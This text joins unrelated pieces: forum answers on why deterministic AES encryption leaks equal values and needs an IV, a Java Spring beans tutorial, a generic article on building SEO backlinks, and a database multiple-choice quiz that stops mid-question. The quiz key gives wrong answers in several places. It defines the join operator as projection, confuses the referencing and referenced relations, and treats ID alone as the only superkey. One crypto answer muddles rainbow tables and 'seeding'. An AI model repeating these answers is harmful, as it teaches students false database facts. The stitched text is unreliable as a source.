• The 2n-1 value is actually half the size of the key space. The idea is that the attacker can try all possible keys, until one matches. On average, he will have to try half the keys before hitting the right one. This assumes that the key space has size 2n. You still have the possibility to reduce the key space: e.g., if you decide that your key is the name of a US town, then the number of possible keys is very much lower (there must not be more than 100000 towns in the USA). Hence, you get the promised 128-bit security only if your key generation process may indeed produce any 128-bit key.
• You apparently encrypt each value by stuffing it directly into an AES core. AES being deterministic, this means that two cells with the same value will yield the same encrypted block, and any attacker may notice that. In other words, you leak information about which cells are equal to each other. Depending on your situation, this may or may not be an issue; you should be aware of it.
• You do not say how you handle values longer than 16 bytes. This is not a simple issue. In all generality, this requires a chaining mode such as CBC, and an Initialization Vector (it depends on the mode; for CBC, a 16-byte random value -- a new IV for each encrypted value)(this can also fix the information leakage from the previous point).
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1
According to your definition, AES is broken, since the computational complexity has been reduced by ~3 bits: schneier.com/blog/archives/2011/08/new_attack_on_a_1.html – deed02392 Mar 7 '13 at 9:58
The answer: No, the AES key cannot be recovered in this scenario. AES is secure against known-plaintext attack. This means that, even if an attacker knows the plaintext and its corresponding ciphertext (its encryption under some unknown AES key), then the attacker cannot recover the AES key. In particular, the attacker cannot recover the AES key any faster than simply trying possible keys one after another -- which is a process that will take longer than the lifetime of our civilization, assuming that the AES key is chosen randomly.
P.S. I noticed that whatever you are using for encryption does not seem to use an IV. This is a security risk. I don't know what mode of operation you are using, but you should use a well-regarded mode of encryption (e.g., CBC mode encryption, CTR mode encryption) with a random IV. The fact that encrypting the same message multiple times always gives you the same ciphertext every time is a security leak which is better to avoid. You can avoid this leak by using a standard mode of operation with an appropriate IV. (You probably also should use a message authentication code (MAC) to authenticate the ciphertext and prevent modifications to it.)
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Salt your encryption.
That way there wont be any patters in your encryption. (There are other benefits too!)
http://stackoverflow.com/questions/5051007/what-is-the-purpose-of-salt
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7
For encryption, the usual term is not Salt, but Initialization Vector or IV. en.wikipedia.org/wiki/Initialization_vector en.wikipedia.org/wiki/Block_cipher_modes_of_operation – Secure Mar 11 '11 at 9:18
AES is not as easy as just building a rainbow table. The first thing you have to realize is the table requires an initialization vector. As long as you're changing this on a semi regular basis building a rainbow table (which is not really realistic.) would take a very very long time. Orders of magnitude long. Since a typical rainbow table would be essentially 2 dimensions, you would essentially need a cube of result sets to figure out both the IV and key.
If you read Thomas Pornin's post he goes into pretty great detail as to what this means, in terms of brute forcing the result.
The realistic worry is that someone with access to the database would be able to inject a string from another field (presumably because you're not using a random padding value in the column per element. Or seeding. )
If you seed the value you won't have this issue, and the only (realistic) attack on the cipher-text itself is made much more difficult.
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Java Spring Part 2: All about Bean
This is not a cooking class. Like cooking a soup process, I will show you the bean containers, scope, lifecycles, postprocessor, inheritance, and template. You will not become a chef but you should have a simple idea of how beans work in the Spring Framework.
🍳1. Cooking pot: IoC Container
From part 1, you shall have seen how Spring blends Plain Old Java Object (POJO) and XML bean together. The cookware is called Spring container. The cooking method is called Inversion of Control principle, init as IoC. In the last part, we have seen one of IoC pot, ApplicationContext. The other IoC pot is BeanFactory. The AppContext is a big pot. It contains BeanFactory to deal with beans ( Spring’s AOP); handles server messages (I18N); publishes events to its listeners, and works with web applications.
Let’s declare a BeanFactory in Java:
Resource resource = new ClassPathResource("soup.xml");
BeanFactory factory = new XmlBeanFactory(resource);
The resource instance injects into XmlBeanFactory to create the instance of BeanFactory.
And take a look of ApplicationContext of part 1:
ApplicationContext context = new ClassPathXmlApplicationContext("com/homanspring/Beans.xml");
It’s much simpler. We can create a new instance of AppContext with the name of XML file.
🍇2. Bean and Scope
Now, let’s study the worker in the factory, Bean.
<!-- simple -->
<bean id = "..." class = "...">
<!-- lazy init -->
<bean id = "..." class = "..." lazy-init = "true">
<!-- init method -->
<bean id = "..." class = "..." init-method = "...">
<!-- destruction method -->
<bean id = "..." class = "..." destroy-method = "...">
The beans can serve in a defined kitchen, called scope. There five scopes:
• Singleton => IoC container
• Prototype => I can handle many objects.
• Request => Http
• Session => Http
• Global-session => Global Http
You see, the Spring Framework heavily serves on the Web application. Let’s attach a scope to a bean:
<!-- singleton scope -->
<bean id = "..." class = "..." scope = "singleton">
🍝3. Test Scope
Back to the SpringExample project; in this time, we need to research how scope works in the code.
Singleton
Beans.xml, without a default value.
...
<bean id = "hello" class = "com.homanspring.Hello"
scope="singleton">
</bean>
SpringApp.java: Let’s get the chicken and display her feather.
public static void main(String[] args) {
ApplicationContext context =
new ClassPathXmlApplicationContext(
"com/homanspring/Beans.xml");
Hello helloA = (Hello) context.getBean("hello");
helloA.setChicken("Yellow Chicken!");
helloA.getChicken();
Hello helloB = (Hello) context.getBean("hello");
helloB.getChicken();
}
Run,
Message: Yellow Chicken!
Message: Yellow Chicken!
The singleton stores the data in a cache. Every POJO call for the message will come from the same cache. So singleton scope is the same setting for all users.
Prototype
Beans.xml, without a default value.
...
<bean id = "hello" class = "com.homanspring.Hello"
scope="prototype">
</bean>
Run,
Message: Yellow Chicken!
Message: null
Under the prototype scope, IoC creates a new bean instance for a specific object. So the prototype is one to one relationships.
💱4. Bean Lifecycle
Initialization
In XML,
<bean id = "whiteBean" class = "examples.FishBean" init-method = "init"/>
it’s call init() in FishBean class.
public class FishBean {
public void init() {
// do some initialization work
}
}
Destruction
In XML,
<bean id = "greenBean" class = "examples.FishBean" destroy-method = "destroy"/>
It calls destroy() in FishBean class.
public class FishBean {
public void destroy() {
// do some destruction work
}
}
📑5. Test Lifecycle
Back to the SpringExample project, let’s add two lifecycle callings in Hello.java.
public class Hello {
...
public void init() {
System.out.println("Initialize cooking. Prepare the chicken.");
}
public void destroy() {
System.out.println("Chicken is destroyed.");
}
}
Beans.xml,
...
<bean id = "hello" class = "com.homanspring.Hello"
init-method = "init"
destroy-method = "destroy">
<property name = "chicken" value = "Chicken is cooking."/>
</bean>
SpringApp.java,
public static void main(String[] args) {
AbstractApplicationContext context =
new ClassPathXmlApplicationContext(
"com/homanspring/Beans.xml");
Hello mHello = (Hello) context.getBean("hello");
mHello.getChicken();
context.registerShutdownHook();
}
The registerShutdownHook() of AbstractApplicationContext will shutdown and call destroy().
Run,
Initialize cooking. Prepare the chicken.
Message: Chicken is cooking.
Chicken is destroyed.
It’s successful to call init() and destroy() methods.
You don’t need to set them for all of the beans with the same name. A default value can be set in the XML file.
<beans xmlns = ...
default-init-method = "init"
default-destroy-method = "destroy">
⏳6. BeanPostProcessor
BeanPostProcessor can give you extra options at the init processing. Let’s add a new class, MyInitHello.java.
public class MyInitHello implements BeanPostProcessor {}
public class MyInitHello implements BeanPostProcessor {
@Override
public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
System.out.println("After Initialization: chicken is cleaned <= "+beanName+" bean");
return BeanPostProcessor.super.postProcessAfterInitialization(bean, beanName);
}
@Override
public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
System.out.println("Before Initialization: shop for the chicken <= "+beanName+" bean");
return BeanPostProcessor.super.postProcessBeforeInitialization(bean, beanName);
}
}
I add two system printouts. Let’s call this class at XML.
Beans.xml,
<bean id = "hello" class = "com.homanspring.Hello"
init-method = "init"
destroy-method = "destroy">
<property name = "chicken" value = "Chicken is cooking."/>
</bean>
<bean class = "com.homanspring.MyInitHello" />
Run,
Before Initialization: shop for the chicken <= hello bean
Initialize cooking. Prepare the chicken.
After Initialization: chicken is cleaned <= hello bean
Message: Chicken is cooking.
Chicken is destroyed.
🎎7. Bean Inheritance
Let’s test the inheritance situation of two beans. This time, I want to compare two menus.
Beans.xml, secondMenu inherits to the firstMenu.
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans-4.3.xsd">
<bean id = "firstMenu" class = "com.homanspring.MenuFirst" >
<property name = "chicken" value = "Chicken Noodle."/>
<property name = "beef" value = "Beef Pho."/>
</bean>
<bean id ="secondMenu" class = "com.homanspring.MenuSecond"
parent = "firstMenu">
<property name = "chicken" value = "Chicken Egg Soup."/>
<property name = "pork" value = "BBQ Pork"/>
</bean>
</beans>
MenuFirst.java has chicken and beef on the menu.
public class MenuFirst {
private String chicken;
private String beef;
public void getChicken() {
System.out.println("Selected chicken: "+chicken);
}
public void setChicken(String chicken) {
this.chicken = chicken;
}
public void getBeef() {
System.out.println("Selected beef: "+beef);
}
public void setBeef(String beef) {
this.beef = beef;
}
}
MenuSecond.java,
public class MenuSecond {
private String pork;
private String chicken;
private String beef;
public void getChicken() {
System.out.println("2nd-Menu Chicken: "+chicken);
}
public void setChicken(String chicken) {
this.chicken = chicken;
}
public void getBeef() {
System.out.println("2nd-Menu Beef: "+beef);
}
public void setBeef(String beef) {
this.beef = beef;
}
public void getPork() {
System.out.println("2nd-Menu Pork: "+pork);
}
public void setPork(String pork) {
this.pork = pork;
}
}
The second menu has added pork.
SpringApp.java,
public class SpringApp {
public static void main(String[] args) {
ApplicationContext context =
new ClassPathXmlApplicationContext(
"com/homanspring/Beans.xml");
MenuFirst firstMenu =
(MenuFirst) context.getBean("firstMenu");
firstMenu.getChicken();
firstMenu.getBeef();
MenuSecond secondMenu =
(MenuSecond) context.getBean("secondMenu");
secondMenu.getChicken();
secondMenu.getBeef();
secondMenu.getPork();
}
}
Run,
Menu1 Chicken: Chicken Noodle.
Menu1 Beef: Beef Pho.
2nd-Menu Chicken: Chicken Egg Soup.
2nd-Menu Beef: Beef Pho.
2nd-Menu Pork: BBQ Pork
The bean of secondMenu doesn’t define beef value, so the beef inherits the value from the bean of firstMenu.
📰8. Bean Template
It’s easy to write a template for a bean.
<bean id = "templateMenu" abstract = "true" >
<property name = "chicken" value = "Chicken Noodle."/>
<property name = "beef" value = "Beef Pho."/>
<property name = "pork" value = "BBQ Pork"/>
</bean>
<bean id ="secondMenu" class = "com.homanspring.MenuSecond"
parent = "templateMenu">
<property name = "chicken" value = "Chicken Egg Soup."/>
<property name = "pork" value = "Pork Onion Soup"/>
</bean>
Characteristic of template: no class + abstract + property (value).
SpringApp.java,
public static void main(String[] args) {
ApplicationContext context =
new ClassPathXmlApplicationContext(
"com/homanspring/Beans.xml");
MenuSecond secondMenu =
(MenuSecond) context.getBean("secondMenu");
secondMenu.getChicken();
secondMenu.getBeef();
secondMenu.getPork();
}
MenuSecond.java has no change. Let’s run,
2nd-Menu Chicken: Chicken Egg Soup.
2nd-Menu Beef: Beef Pho.
2nd-Menu Pork: Pork Onion Soup
The secondMenu has no beef on the menu, so it inherits the value from the templateMenu.
🎴9. Inner Bean
Like a Java class, the Bean can have inner Bean.
<bean id = "outerBean" class = "...">
<property name = "target">
<bean class = "..."/>
</property>
</bean>
Here is the example between Menu and SoupMaker.
SoupMaker.java, this is the class of an inner bean.
public class SoupMaker {
String meat;
String vegetable;
public void getVegetable() {
System.out.print("Vagetable: "+vegetable);
}
public void setVegetable(String vagetable) {
this.vegetable = vagetable;
}
public SoupMaker() {
System.out.println("SoupMaker constructor...");
}
public void getMeat() {
System.out.println("Soup kind: "+meat);
}
public void setMeat(String food) {
this.meat = food;
}
public void checkSoup() {
System.out.println("Check soup: still cooking...");
}
public void detail() {
System.out.println("Soup contains: "+meat+" and "+vegetable);
}
}
Like regular POJO, you need setter and getter for each bean related property. In addition, you can add extra functions like checkSoup() and detail().
Let’s take a look at the Beans.xml.
<bean id ="secondMenu" class = "com.homanspring.MenuSecond">
<property name = "makeSoup">
<bean class = "com.homanspring.SoupMaker">
<property name="meat" value="Chicken"></property>
<property name="vegetable" value="Tomato"></property>
</bean>
</property>
</bean>
The makeSoup is the variable in MenuSecond.java. The meat and the vegetable are the variables of SoupMaker.java.
MenuSecond.java,
public class MenuSecond {
private SoupMaker makeSoup;
public void setMakeSoup(SoupMaker makeSoup) {
this.makeSoup = makeSoup;
}
public SoupMaker getMakeSoup() {
return makeSoup;
}
public void soupChecker() {
makeSoup.checkSoup();
}
public void soupDetail() {
makeSoup.detail();
}
}
SpringApp.java,
public static void main(String[] args) {
ApplicationContext context =
new ClassPathXmlApplicationContext(
"com/homanspring/Beans.xml");
MenuSecond secondMenu =
(MenuSecond) context.getBean("secondMenu");
secondMenu.soupChecker();
secondMenu.soupDetail();
}
Run,
SoupMaker constructor...
Check soup: still cooking...
Soup contains: Chicken and Tomato
Enjoy the reading!
08/15/2020
Computer Science BS from SFSU. I studied and worked on Android system since 2017. If you are interesting in my past works, please go to my LinkedIn.
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How to Generate Backlinks to Your Website
by JC Burrows - December 15, 2022
Do you ever wonder how to generate backlinks to your website? Well, fret not! I’m here to share some nifty tips with you. In this guide, we’ll explore a range of strategies that can help you build valuable backlinks and enhance your website’s visibility. From guest blogging to promoting your content on social media, reaching out to influencers, and engaging in content marketing, we’ve got you covered. We’ll also delve into link building strategies, directory submissions, and even the clever technique of broken link building. So, if you’re eager to elevate your website and boost your online presence, let’s dive right into the exciting world of generating those valuable backlinks!
Guest Blogging
Guest blogging is an effective way to generate backlinks to our website. It involves writing and publishing articles on other websites or blogs within our industry or niche. By doing this, we can reach a wider audience and gain exposure to potential readers and customers who might not have found us otherwise.
To make the most of guest blogging, it’s important to find reputable websites and blogs with a strong following and authority in our industry. By contributing valuable and high-quality content to these platforms, we can establish ourselves as experts and gain credibility among our target audience. This not only helps generate backlinks but also boosts our brand visibility and reputation.
Another benefit of guest blogging is the opportunity for niche-specific partnerships. By collaborating with other experts and influencers in our industry, we can leverage their audience and reach to promote our content and website. This can result in increased traffic, engagement, and ultimately, more backlinks.
Social Media Promotion
When it comes to promoting your website on social media, there are three important factors to consider: influencer collaborations, viral content strategies, and paid social advertising. Let’s dive into each of these to understand how they can benefit your website.
Firstly, influencer collaborations are a powerful way to leverage the audience and credibility of individuals in your industry. By partnering with influencers, you can gain valuable backlinks that can improve your website’s visibility and authority.
Secondly, creating viral content that resonates with your target audience is a key strategy to attract natural backlinks. When your content goes viral, it has the potential to spread rapidly and generate buzz, increasing the chances of other websites linking back to it.
Lastly, utilizing paid social advertising can help you reach a wider audience and drive traffic to your website. By investing in targeted social media ads, you can increase the visibility of your website and attract potential backlinks from interested users.
Influencer Collaborations
To increase the visibility of your website, we actively collaborate with influencers for social media promotion. By partnering with influential individuals in your industry, you can tap into their large and engaged audience, gaining exposure and credibility for your brand. Influencer endorsements have the power to significantly boost your website traffic and attract valuable backlinks. When influencers share your content or mention your brand on social media, their followers are more likely to visit your website, resulting in increased organic traffic and potential customer conversions. These partnerships can also lead to valuable backlinks from the influencer’s website, which can further improve your website’s search engine rankings. Now, let’s move on to the next section and explore effective strategies for creating viral content to drive even more traffic to your website.
Viral Content Strategies
When it comes to making content go viral, we harness the power of social media to amplify our website’s reach and engagement. One effective method is using viral videos. These videos are specifically crafted to grab viewers’ attention and motivate them to share it with their own networks. By creating captivating and shareable videos, we increase our chances of going viral and attracting a large audience to our website. Another strategy we utilize is meme marketing. Memes are amusing or relatable images or videos that quickly spread across social media platforms. By crafting and sharing relevant memes that strike a chord with our target audience, we can create a buzz and drive traffic to our website.
Paid Social Advertising
We actively use paid social advertising to promote our website and generate backlinks. This strategy helps us reach a specific audience and drive traffic to our site, increasing our chances of getting valuable backlinks. Paid social advertising provides several advantages, one of which is ad targeting. This feature allows us to reach people who have specific demographics, interests, and behaviors that are relevant to our website’s niche. By reaching the right people, we can make our ad campaigns more effective and increase the likelihood of attracting quality backlinks. Another benefit is conversion tracking, which helps us measure the success of our paid social advertising efforts. This allows us to identify the strategies that generate the most backlinks. Now, let’s explore another effective method for generating backlinks: influencer outreach.
Influencer Outreach
When it comes to reaching out to influencers, we have a specific strategy in place. We focus on connecting with individuals who have a strong influence within our niche market. These are what we call micro influencers, who have a dedicated following in our industry. By partnering with them, we can effectively reach a targeted audience that is more likely to engage with our content and generate backlinks to our website.
Why do we prioritize micro influencers? Well, it’s because they play a crucial role in our backlink generation strategy. These influencers have already built trust with their followers, who are genuinely interested in our products or services. When these influencers endorse our brand or share our content, it carries a lot of weight and can drive significant traffic to our website.
To find the right influencers for our outreach campaign, we use tools that help us analyze their audience demographics, engagement rates, and content relevance. This ensures that we are connecting with individuals who align with our brand values and have a genuine connection with our target market.
Once we have identified our target influencers, we reach out to them with personalized messages. We explain why we believe a partnership would be mutually beneficial and offer them incentives, such as exclusive content, discounts, or product samples. These incentives encourage them to share our content and include backlinks to our website.
Content Marketing
When it comes to generating backlinks to your website, content marketing plays a crucial role. By implementing strategies that make your content intriguing and unpredictable, you can captivate your intended audience and encourage them to share your content. This, in turn, leads to valuable backlinks. The benefits of this approach are twofold: it boosts your brand’s visibility and credibility, while also establishing your website as a trusted and authoritative source in your industry.
Engaging Content Strategies
To generate backlinks to your website effectively, implement engaging content strategies that captivate your target audience. One crucial aspect of engaging content is content optimization, which involves creating high-quality, relevant content optimized for search engines. Start by conducting thorough keyword research to identify the keywords and phrases your audience uses to search for industry-related information. Strategically incorporate these keywords into your content to increase the likelihood of your website appearing in search engine results, attracting organic traffic and potential backlinks. Moreover, engaging content strategies require creating valuable and shareable content that resonates with your audience, encouraging them to link back to your website and share your content. Consistently produce engaging content that provides value to your audience to enhance your chances of generating backlinks and improving your website’s visibility and authority in search engine rankings.
Targeted Audience Engagement
To effectively engage our target audience and generate valuable backlinks to our website, we can employ strategic content marketing techniques. One actionable tip is to utilize targeted email outreach. By sending personalized emails to individuals who are likely to have an interest in our content, we can capture their attention and encourage them to visit our website. Additionally, participating in community forums is another effective strategy. By actively engaging in relevant discussions within these forums, we can establish ourselves as knowledgeable industry experts and form connections with our intended audience. This can potentially lead to valuable backlinks as forum members may reference our content in their own discussions or share our links with others. By implementing these targeted audience engagement strategies, we can enhance our website’s visibility and attract high-quality backlinks.
Brand Visibility and Credibility
To boost your brand’s visibility and credibility in content marketing, focus on creating top-notch and informative content. This will not only position you as an industry authority but also attract and engage your target audience. However, it’s crucial to recognize that brand visibility and credibility extend beyond content creation. Managing your online reputation is key in building trust and credibility. By actively monitoring and handling your online reputation, you can ensure that your brand is viewed positively by your audience. Additionally, implementing trust-building tactics like customer testimonials, case studies, and social proof can further enhance your brand’s credibility. By consistently providing valuable content and proactively managing your online reputation, you can establish yourself as a trusted and credible expert in your field.
Link Building Strategies
When it comes to building links to our website, we have a preferred approach that involves using a variety of effective strategies. Two key strategies we focus on are link acquisition and natural link building.
Link acquisition means actively seeking out opportunities to get backlinks from other websites. We can do this by reaching out to relevant websites and suggesting collaborations or guest posting. By providing valuable and relevant content, we can attract links from trusted sources, which helps boost the visibility and credibility of our website.
In addition to link acquisition, we also prioritize natural link building. This means creating high-quality content that naturally attracts backlinks from other websites. By consistently producing valuable and shareable content, we increase the chances of other websites linking to our content organically.
By combining these two strategies, we can build a diverse and strong backlink profile for our website. This not only improves our search engine rankings but also drives targeted traffic to our site.
Now that we’ve discussed our link building strategies, let’s move on to the next section: directory submissions.
Directory Submissions
When it comes to expanding our backlink profile, we can use a strategy called directory submissions. This involves listing our website in online directories that categorize and organize websites based on their niche or location. It’s an effective way to gain backlinks and improve our website’s visibility in search engine results.
There are two types of directories we can focus on: local directories and niche directories. Local directories list businesses and websites in a specific geographic area. By submitting our website to these directories, we increase our chances of being found by users in our target location. This is particularly important for businesses that rely on local customers.
Niche directories, on the other hand, focus on specific industries or topics. By submitting our website to relevant niche directories, we not only gain backlinks but also reach a more targeted audience. This can result in increased traffic and potential customers who are already interested in what we have to offer.
Broken Link Building
Let’s dive into a technique called broken link building to further enhance our backlink profile and boost our website’s visibility. Broken link building involves finding broken links on other websites and reaching out to the website owners to suggest replacing the broken link with a link to our own content. This approach not only helps us build backlinks but also adds value to other website owners by assisting them in fixing broken links.
To get started with broken link building, we need to analyze our competitors to identify websites in our niche that have broken links. By examining the backlinks of our competitors, we can uncover opportunities for broken link building. Once we identify these websites, we can utilize various tools to check for broken links on their pages.
After identifying broken links, we can reach out to the website owners through content outreach. Our aim is to inform them about the broken link on their website and suggest our content as a replacement. It’s crucial to approach them in a polite and helpful manner, highlighting the benefits of fixing the broken link for their website’s user experience.
Broken link building is a powerful strategy that not only helps us gain backlinks but also fosters relationships with other website owners. By leveraging competitor analysis and content outreach, we can effectively improve our backlink profile and enhance our website’s visibility in search engine results.
Frequently Asked Questions
What Are the Benefits of Guest Blogging for Generating Backlinks to My Website?
Guest blogging is a powerful strategy for generating backlinks to your website. It may sound perplexing at first, but it’s actually quite simple. When you write valuable content and share it on other websites, you create an opportunity to reach a wider audience. This burst of exposure can significantly increase your online visibility, making it easier for people to find and visit your website.
But the benefits don’t stop there. Guest blogging also helps you establish credibility in your industry. By showcasing your expertise and knowledge, you can position yourself as a trusted authority. This can lead to more opportunities for collaboration, partnerships, and even potential customers or clients.
To make the most of guest blogging, it’s important to choose websites that are relevant to your niche and have a solid reputation. Focus on providing valuable and actionable insights in your guest posts, rather than simply promoting your own website. This will not only attract more readers but also increase the likelihood of other websites linking back to your content.
How Can I Effectively Promote My Website Through Social Media to Generate Backlinks?
To effectively promote your website through social media and generate backlinks, there are a few strategies you can employ. One approach is to create captivating content that sparks curiosity and encourages sharing. This could be in the form of informative articles, engaging videos, or eye-catching visuals that pique people’s interest. By providing valuable and shareable content, you increase the likelihood of others linking back to your website.
Collaborating with influencers is another effective tactic. These individuals have a strong online presence and a dedicated following. By partnering with influencers in your niche or industry, you can tap into their audience and gain exposure for your website. This can be done through guest blogging, co-creating content, or having influencers share your website link with their followers.
Active participation in relevant online communities is also crucial. Find social media groups, forums, or discussions where your target audience congregates and engage with them. Share your expertise, answer questions, and provide valuable insights. By establishing yourself as a helpful and knowledgeable contributor, you increase the likelihood of others checking out your website and potentially linking back to it.
What Is Influencer Outreach and How Can It Help in Generating Backlinks?
Influencer outreach is a strategic approach where you collaborate with influential individuals and bloggers to form partnerships that generate backlinks. This process can do wonders for your website by boosting its visibility and credibility. But what exactly is influencer outreach and how can it help you generate backlinks?
Well, influencer outreach is all about building connections with people who have a significant online presence and a loyal following. These individuals, often known as influencers, have established themselves as experts or authorities in specific fields or industries. By partnering with them, you can tap into their audience and leverage their influence to promote your website.
Now, you might be wondering how this collaboration leads to backlinks. When you collaborate with influencers, they can create content that features your website or products and share it with their audience. This content can take the form of blog posts, social media mentions, or even videos. By including links to your website within this content, you can generate valuable backlinks that direct traffic to your site.
But why are backlinks so important? Well, search engines like Google use backlinks as a measure of a website’s credibility and authority. When your website has a high number of quality backlinks from reputable sources, it signals to search engines that your site is trustworthy and relevant. As a result, your website may rank higher in search engine results pages, ultimately leading to increased visibility and organic traffic.
So, how can you harness the power of influencer outreach to generate backlinks? Here are some actionable tips:
1. Identify relevant influencers: Look for individuals who have a strong following in your industry or niche. They should align with your brand values and have an engaged audience that would be interested in your offerings.
2. Build genuine relationships: Reach out to influencers and start building authentic connections. Engage with their content, share their posts, and establish a rapport before proposing any collaborations.
3. Offer value: When approaching influencers, offer something of value in exchange for their support. This could be exclusive content, product samples, or even monetary compensation. Make sure to tailor your offer to their specific needs and interests.
4. Collaborate on content: Work together with influencers to create compelling and relevant content that showcases your website or products. This could be in the form of guest blog posts, sponsored social media posts, or collaborative videos.
5. Track and measure results: Monitor the performance of your influencer outreach campaigns. Keep track of the backlinks generated, website traffic, and any changes in search engine rankings. This data will help you refine your approach and optimize future collaborations.
How Does Content Marketing Contribute to Generating Backlinks to My Website?
Content marketing is a powerful strategy for generating backlinks to your website. When we create content that is valuable and of high quality, we attract other websites to link to us. This helps to boost our online visibility and establish our authority in the digital realm. It’s a proven technique for building links that can greatly benefit your website.
Are There Any Specific Strategies or Techniques for Building High-Quality Backlinks to My Website?
There are numerous techniques and strategies to build high-quality backlinks for your website. These methods can significantly enhance your website’s visibility and ranking on search engines. Let’s dive into specific strategies and techniques you can utilize to generate valuable backlinks.
Conclusion
Generating backlinks to your website can be a puzzling endeavor, but fear not! I’m here to guide you through the process with straightforward strategies that anyone can implement. No need for fancy jargon or complex techniques – I’ll break it down for you in simple terms.
First and foremost, it’s important to understand the concept of backlinks. These are links from other websites that point to your own. They serve as a vote of confidence, indicating to search engines that your website is trustworthy and relevant. So, how can you go about getting these valuable backlinks?
One effective approach is to create high-quality content that others naturally want to link to. This could be informative articles, engaging videos, or helpful resources. By offering something unique and valuable, you increase the chances of others linking back to your site.
Another strategy is to reach out to relevant websites and ask for a backlink. This can be done by finding websites in your niche or industry and sending a polite email explaining why your content would be a valuable addition to their site. Remember, personalization and building relationships are key here.
Additionally, participating in online communities and forums related to your industry can be a fruitful way to gain backlinks. By actively engaging in discussions and providing useful insights, you establish yourself as an authority in the field. This increases the likelihood of others linking to your website.
Lastly, don’t underestimate the power of social media. Sharing your content on platforms like Twitter, Facebook, and LinkedIn can attract attention and potentially lead to backlinks from interested parties.
Remember, the key to successful backlink generation lies in offering valuable content, building relationships, and promoting your website strategically. So, get started today and watch as your website gains visibility and traffic. Good luck!
Backlinks Purchase: How to Buy High Quality Backlinks
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Chapter: Relational Modal
1.
Relational Algebra is a __________ query language that takes two relations as input and produces another relation as an output of the query.
A. Relational
B. Structural
C. Procedural
D. Fundamental
Answer» C. Procedural
2.
For select operation the ________ appear in the subscript and the ___________ argument appears in the paranthesis after the sigmA:)
A. Predicates, relation
B. Relation, Predicates
C. Operation, Predicates
D. Relation, Operation
Answer» A. Predicates, relation
3.
The ___________ operation, denoted by −, allows us to find tuples that are in one relation but are not in another.
A. Union
B. Set-difference
C. Difference
D. Intersection
Answer» B. Set-difference
4.
In precedence of set operators, the expression is evaluated from
A. Left to left
B. Left to right
C. Right to left
D. From user specification
Answer» B. Left to right
5.
Which one of the following is a set of one or more attributes taken collectively to uniquely identify a record?
A. Candidate key
B. Sub key
C. Super key
D. Foreign key
Answer» C. Super key
6.
Consider attributes ID, CITY and NAME. Which one of this can be considered as a super key?
A. NAME
B. ID
C. CITY
D. CITY, ID
Answer» B. ID
7.
A _____ is a property of the entire relation, rather than of the individual tuples in which each tuple is unique.
A. Rows
B. Key
C. Attribute
D. Fields
Answer» B. Key
8.
An attribute in a relation is a foreign key if the _______ key from one relation is used as an attribute in that relation.
A. Candidate
B. Primary
C. Super
D. Sub
Answer» B. Primary
9.
The relation with the attribute which is the primary key is referenced in another relation. The relation which has the attribute as a primary key is called ______________
A. Referential relation
B. Referencing relation
C. Referenced relation
D. Referred relation
Answer» C. Referenced relation
10.
The ______ is the one in which the primary key of one relation is used as a normal attribute in another relation.
A. Referential relation
B. Referencing relation
C. Referenced relation
D. Referred relation
Answer» C. Referenced relation
11.
A _________ integrity constraint requires that the values appearing in specified attributes
of any tuple in the referencing relation also appear in specified attributes of at least one tuple in
the referenced relation.
A. Referential
B. Referencing
C. Specific
D. Primary
Answer» A. Referential
12.
A relational database consists of a collection of
A. Tables
B. Fields
C. Records
D. Keys
Answer» A. Tables
13.
A ________ in a table represents a relationship among a set of values.
A. Column
B. Key
C. Row
D. Entry
Answer» C. Row
14.
The term _______ is used to refer to a row.
A. Attribute
B. Tuple
C. Field
D. Instance
Answer» B. Tuple
15.
The term attribute refers to a ___________ of a table.
A. Record
B. Column
C. Tuple
D. Key
Answer» B. Column
16.
For each attribute of a relation, there is a set of permitted values, called the ________ of that attribute.
A. Domain
B. Relation
C. Set
D. Schema
Answer» A. Domain
17.
Database __________ which is the logical design of the database, and the database _______ which is a snapshot of the data in the database at a given instant in time.
A. Instance, Schema
B. Relation, Schema
C. Relation, Domain
D. Schema, Instance
Answer» D. Schema, Instance
18.
Course(course_id,sec_id,semester) Here the course_id,sec_id and semester are __________ and course is a _________
A. Relations, Attribute
B. Attributes, Relation
C. Tuple, Relation
D. Tuple, Attributes
Answer» B. Attributes, Relation
19.
Department (dept name, building, budget) and Employee (employee_id, name, dept name, salary) Here the dept_name attribute appears in both the relations. Here using common attributes in relation schema is one way of relating ___________ relations.
A. Attributes of common
B. Tuple of common
C. Tuple of distinct
D. Attributes of distinct
Answer» C. Tuple of distinct
20.
A domain is atomic if elements of the domain are considered to be ____________ units.
A. Different
B. Indivisbile
C. Constant
D. Divisible
Answer» B. Indivisbile
21.
The tuples of the relations can be of ________ order.
A. Any
B. Same
C. Sorted
D. Constant
Answer» A. Any
22.
Choose the correct statement regarding superkeys
A. A superkey is an attribute or a group of multiple attributes that can uniquely identify a tuple
B. A superkey is a tuple or a set of multiple tuples that can uniquely identify an attribute
C. Every superkey is a candidate key
D. A superkey is an attribute or a set of attributes that distinguish the relation from other relations
Answer» A. A superkey is an attribute or a group of multiple attributes that can uniquely identify a tuple
23.
What is an Instance of a Database?
A. The logical design of the database system
B. The entire set of attributes of the Database put together in a single relation
C. The state of the database system at any given point of time
D. The initial values inserted into the Database immediately after its creation
Answer» C. The state of the database system at any given point of time
24.
What is a foreign key?
A. A foreign key is a primary key of a relation which is an attribute in another relation
B. A foreign key is a superkey of a relation which is an attribute in more than one other relations
C. A foreign key is an attribute of a relation that is a primary key of another relation
D. A foreign key is the primary key of a relation that does not occur anywhere else in the schema
Answer» C. A foreign key is an attribute of a relation that is a primary key of another relation
25.
What action does ⋈ operator perform in relational algebra
A. Output specified attributes from all rows of the input relation and remove duplicate tuples from the output
B. Outputs pairs of rows from the two input relations that have the same value on all attributes that have the same name
C. Output all pairs of rows from the two input relations (regardless of whether or not they have the same values on common attributes)
D. Return rows of the input relation that satisfy the predicate
Answer» A. Output specified attributes from all rows of the input relation and remove duplicate tuples from the output
26.
What does the “x” operator do in relational algebra?
A. Output specified attributes from all rows of the input relation. Remove duplicate tuples from the output
B. Output pairs of rows from the two input relations that have the same value on all attributes that have the same name
C. Output all pairs of rows from the two input relations (regardless of whether or not they have the same values on common attributes)
D. Returns the rows of the input relation that satisfy the predicate
Answer» C. Output all pairs of rows from the two input relations (regardless of whether or not they have the same values on common attributes)
27.
An attribute is a __________ in a relation.
A. Row
B. Column
C. Value
